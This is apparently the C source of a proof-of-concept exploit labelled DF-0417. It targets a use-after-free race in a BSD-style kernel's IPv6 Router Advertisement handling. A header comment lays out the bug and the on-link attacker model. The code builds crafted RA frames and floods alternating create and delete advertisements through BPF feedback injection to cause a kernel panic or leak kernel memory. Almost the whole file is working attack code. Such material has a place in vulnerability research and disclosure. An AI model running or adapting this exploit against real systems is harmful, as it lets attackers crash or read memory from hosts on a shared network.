/*
 * DF-0417 PoC: UAF race on nd_defrouter via defrtrlist_update()
 *
 * Bug: sys/netinet6/nd6_rtr.c
 *   defrtrlist_update() (line 661-707) returns a struct nd_defrouter *
 *   with NO refcount taken and the nd6_mtx lock RELEASED.  nd6_ra_input()
 *   stores that pointer (line 285) and, in the unlocked prefix-option loop
 *   (lines 291-345), passes it to prelist_update() (line 344).
 *
 *   prelist_update() re-acquires nd6_mtx (line 866) but the pointer value
 *   may already be stale: a concurrent deleter (another RA with rtlifetime==0
 *   on another netisr CPU, or nd6_timer expiry, or nd6_purge on iface down)
 *   can run defrtrlist_del(dr) -> kfree(dr) during the window between
 *   line 285 (lock released) and line 866 (lock re-acquired).
 *
 *   If defrtrlist_del()'s prefix cleanup (lines 561-565) runs BEFORE
 *   pfxrtr_add() stores the pointer, a DANGLING pointer to freed memory is
 *   inserted into the prefix's advertising-router list.  It is later field-
 *   dereferenced in:
 *     - find_pfxlist_reachable_router()  nd6_rtr.c:1148-1149  (rtaddr, ifp)
 *     - sysctl prefix export             nd6.c:1493 / 2248-2253 (rtaddr, ifp)
 *
 * This is a network-reachable UAF.  The realistic threat model is an on-link
 * attacker flooding Router Advertisements.  This PoC simulates that attacker
 * by injecting crafted RAs into the victim's own vtnet0 input path via BPF
 * feedback mode (sys/net/bpf.c:604 if_input injection) -- BPF write requires
 * root, which stands in for "the attacker's own machine is on the link".
 *
 * The victim (this guest) must have RA acceptance enabled:
 *   sysctl net.inet6.ip6.accept_rtadv=1   (host mode, ip6_forwarding=0)
 *
 * Trigger strategy: flood alternating CREATE (rtlifetime>0 + many prefix
 * options to widen the unlocked window) and DELETE (rtlifetime==0) RAs for
 * the same router address.  The many prefix options stretch the window
 * between the lock release (line 679) and prelist_update's re-lock (866),
 * raising the probability that a concurrent DELETE frees the router while
 * the CREATE is mid-prefix-loop, leaving a dangling pfxrtr pointer that the
 * next on-link check dereferences as freed memory.
 *
 * On GENERIC (INVARIANTS ON) the slab poisons freed memory (WEIRD_ADDR
 * 0xdeadc0de) so the deferred read typically faults -> kernel panic.
 * On noinv the read silently leaks whatever reoccupied the slab.
 *
 * Usage (as root on the victim, simulating the on-link attacker):
 *   ./ra_race [-i ifname] [-n count] [-p prefixes] [-s secs]
 *     -i ifname    inject interface (default vtnet0)
 *     -n count     total RAs to send (default 200000)
 *     -p prefixes  prefix-info options per CREATE RA (default 8, widens window)
 *     -s secs      cap runtime in seconds (default 60)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#define ALL_NODES "ff02::1"
/* attacker link-local source (must be link-local fe80::/10) */
#define ATTK_LLA  "fe80::dead:beef:cafe"
/* attacker ethernet (link-local multicast for RA is 33:33:00:00:00:01) */

static const unsigned char ether_allnodes[6] =
    { 0x33, 0x33, 0x00, 0x00, 0x00, 0x01 };
static const unsigned char ether_attacker[6] =
    { 0x52, 0x54, 0x00, 0xde, 0xad, 0xbe };

/* ICMPv6 checksum over pseudo-header + payload */
static u_int16_t
icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst,
    const u_int8_t *payload, int len)
{
    u_int32_t sum = 0;
    int i;

    for (i = 0; i < 8; i++) {        /* pseudo: src + dst */
        sum += ntohs(src->s6_addr16[i]);
        sum += ntohs(dst->s6_addr16[i]);
    }
    sum += len;                       /* pseudo: payload length */
    sum += IPPROTO_ICMPV6;            /* pseudo: next header */
    for (i = 0; i < (len & ~1); i += 2)
        sum += (payload[i] << 8) | payload[i+1];
    if (len & 1)
        sum += payload[len-1] << 8;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)(~sum & 0xffff);
}

/*
 * Build one full Ethernet+IPv6+ICMPv6-RA frame in `buf`.
 * create!=0 => router lifetime>0 with `npfx` prefix-info options.
 * create==0 => router lifetime=0 (deletes the router).
 */
static int
build_ra(u_int8_t *buf, int create, int npfx,
    const struct in6_addr *src6, const struct in6_addr *dst6)
{
    int off = 0;

    /* --- Ethernet header --- */
    memcpy(buf + off, ether_allnodes, 6); off += 6;
    memcpy(buf + off, ether_attacker, 6); off += 6;
    buf[off++] = 0x86; buf[off++] = 0xdd;        /* EtherType IPv6 */

    /* --- IPv6 header --- */
    struct ip6_hdr *ip6 = (struct ip6_hdr *)(buf + off);
    ip6->ip6_flow = htonl(6 << 28);
    int icmp_off = off + sizeof(struct ip6_hdr);
    int ra_len = sizeof(struct nd_router_advert);
    int opt_len = 0;
    /* prefix info options */
    ra_len += npfx * 8 * 3;        /* each PI option = 32 bytes = 8*3? nd_opt_hdr len is in 8-byte units, PI = 4 units = 32 bytes */
    /* source link-layer addr option (1 unit = 8 bytes: 2 hdr + 6 mac) */
    ra_len += 8;
    ip6->ip6_plen = htons(ra_len);
    ip6->ip6_nxt = IPPROTO_ICMPV6;
    ip6->ip6_hlim = 255;                  /* MUST be 255 for RA */
    ip6->ip6_src = *src6;
    ip6->ip6_dst = *dst6;
    off = icmp_off;

    /* --- ICMPv6 Router Advertisement --- */
    struct nd_router_advert *ra = (struct nd_router_advert *)(buf + off);
    ra->nd_ra_type = ND_ROUTER_ADVERT;    /* 134 */
    ra->nd_ra_code = 0;
    ra->nd_ra_cksum = 0;
    ra->nd_ra_curhoplimit = 64;
    ra->nd_ra_flags_reserved = 0;
    ra->nd_ra_router_lifetime = create ? htons(1800) : htons(0); /* 1800s or 0 */
    ra->nd_ra_reachable = 0;
    ra->nd_ra_retransmit = 0;
    off += sizeof(struct nd_router_advert);

    /* prefix information options (only meaningful for CREATE; harmless for DELETE) */
    int p;
    for (p = 0; p < npfx; p++) {
        struct nd_opt_prefix_info *pi =
            (struct nd_opt_prefix_info *)(buf + off);
        pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; /* 3 */
        pi->nd_opt_pi_len = 4;                            /* 4 * 8 = 32 bytes */
        pi->nd_opt_pi_prefix_len = 64;
        pi->nd_opt_pi_flags_reserved =
            ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO;
        pi->nd_opt_pi_valid_time = htonl(3600);
        pi->nd_opt_pi_preferred_time = htonl(1800);
        pi->nd_opt_pi_reserved2 = 0;
        /* unique-ish prefix: 2001:db8::p */
        memset(&pi->nd_opt_pi_prefix, 0, sizeof(pi->nd_opt_pi_prefix));
        pi->nd_opt_pi_prefix.s6_addr16[0] = htons(0x2001);
        pi->nd_opt_pi_prefix.s6_addr16[1] = htons(0x0db8);
        pi->nd_opt_pi_prefix.s6_addr[15] = (u_int8_t)(p + 1);
        off += sizeof(struct nd_opt_prefix_info);
    }

    /* source link-layer address option */
    struct nd_opt_hdr *sll = (struct nd_opt_hdr *)(buf + off);
    sll->nd_opt_type = ND_OPT_SOURCE_LINKADDR;   /* 1 */
    sll->nd_opt_len = 1;                         /* 1 * 8 = 8 bytes */
    memcpy(buf + off + 2, ether_attacker, 6);
    off += 8;

    /* checksum over the ICMPv6 payload (from ra .. off) */
    int plen = off - icmp_off;
    ra->nd_ra_cksum = htons(icmp6_cksum(src6, dst6, (u_int8_t *)ra, plen));

    return off;
}

int
main(int argc, char **argv)
{
    const char *ifname = "vtnet0";
    long count = 200000;
    int npfx = 8;
    int secs = 60;
    int opt;

    while ((opt = getopt(argc, argv, "i:n:p:s:")) != -1) {
        switch (opt) {
        case 'i': ifname = optarg; break;
        case 'n': count = atol(optarg); break;
        case 'p': npfx = atoi(optarg); break;
        case 's': secs = atoi(optarg); break;
        default:
            fprintf(stderr, "usage: %s [-i if] [-n n] [-p pfx] [-s sec]\n",
                argv[0]);
            return 2;
        }
    }
    struct in6_addr src6, dst6;
    if (inet_pton(AF_INET6, ATTK_LLA, &src6) != 1 ||
        inet_pton(AF_INET6, ALL_NODES, &dst6) != 1) {
        fprintf(stderr, "inet_pton failed\n");
        return 2;
    }

    /* open /dev/bpfN */
    char dev[16];
    int bfd = -1;
    int n;
    for (n = 0; n < 16; n++) {
        snprintf(dev, sizeof(dev), "/dev/bpf%d", n);
        bfd = open(dev, O_RDWR);
        if (bfd >= 0) break;
        if (errno != EBUSY) { perror(dev); return 2; }
    }
    if (bfd < 0) { fprintf(stderr, "no free bpf device\n"); return 2; }

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
    if (ioctl(bfd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 2; }

    u_int one = 1;
    if (ioctl(bfd, BIOCSHDRCMPLT, &one) < 0) { perror("BIOCSHDRCMPLT"); return 2; }
    if (ioctl(bfd, BIOCSFEEDBACK, &one) < 0) { perror("BIOCSFEEDBACK"); return 2; }

    u_int blen = 0;
    if (ioctl(bfd, BIOCGBLEN, &blen) < 0) { perror("BIOCGBLEN"); return 2; }

    u_int8_t *create = malloc(blen);
    u_int8_t *dele   = malloc(blen);
    if (!create || !dele) { perror("malloc"); return 2; }

    int clen = build_ra(create, 1, npfx, &src6, &dst6);
    int dlen = build_ra(dele,   0, npfx, &src6, &dst6);

    /*
     * BPF-feedback workaround: bpf_movein() (sys/net/bpf.c) strips the first
     * 14 bytes of the write buffer into the sockaddr used as the OUTPUT
     * ethernet header, then advances the mbuf past them.  The feedback path
     * dups that header-stripped mbuf into if_input(), so a normally-framed
     * [eth][ipv6] write is mis-framed on loopback.  Prepending a DUPLICATE
     * 14-byte ethernet header makes the stripped copy become the output
     * header while the remaining copy frames the loopback copy correctly:
     *   write [eth][eth][ipv6][icmp6]
     *   -> output uses 1st [eth], feedback if_input sees [eth][ipv6][icmp6].
     */
    u_int8_t *cb = malloc(clen + 14), *db = malloc(dlen + 14);
    memmove(cb + 14, create, clen); memcpy(cb, create, 14);
    memmove(db + 14, dele,   dlen); memcpy(db, dele,   14);
    clen += 14; dlen += 14;

    fprintf(stderr,
        "DF-0417 ra_race: if=%s create_frames=toggle every RA, prefixes/RA=%d, "
        "count=%ld, cap=%ds (BPF dup-header feedback workaround)\n",
        ifname, npfx, count, secs);
    fprintf(stderr,
        "  attacker LLA=%s -> %s ; router lifetime CREATE=1800s DELETE=0s\n",
        ATTK_LLA, ALL_NODES);

    time_t t0 = time(NULL);
    long i, sent = 0, errs = 0;
    for (i = 0; i < count; i++) {
        /* alternate create / delete to maximize the create-in-flight vs
         * delete-frees race.  Both are injected via BPF feedback (if_input). */
        u_int8_t *f = (i & 1) ? db : cb;
        int fl = (i & 1) ? dlen : clen;
        ssize_t w = write(bfd, f, fl);
        if (w < 0) { errs++; if (errs < 5) perror("write bpf"); }
        else sent++;
        if ((i & 0x3fff) == 0 && (time(NULL) - t0) >= secs) {
            fprintf(stderr, "  time cap reached at %ld frames\n", i);
            break;
        }
    }
    fprintf(stderr, "  done: sent=%ld errs=%ld elapsed=%lds\n",
        sent, errs, (long)(time(NULL) - t0));
    return 0;
}
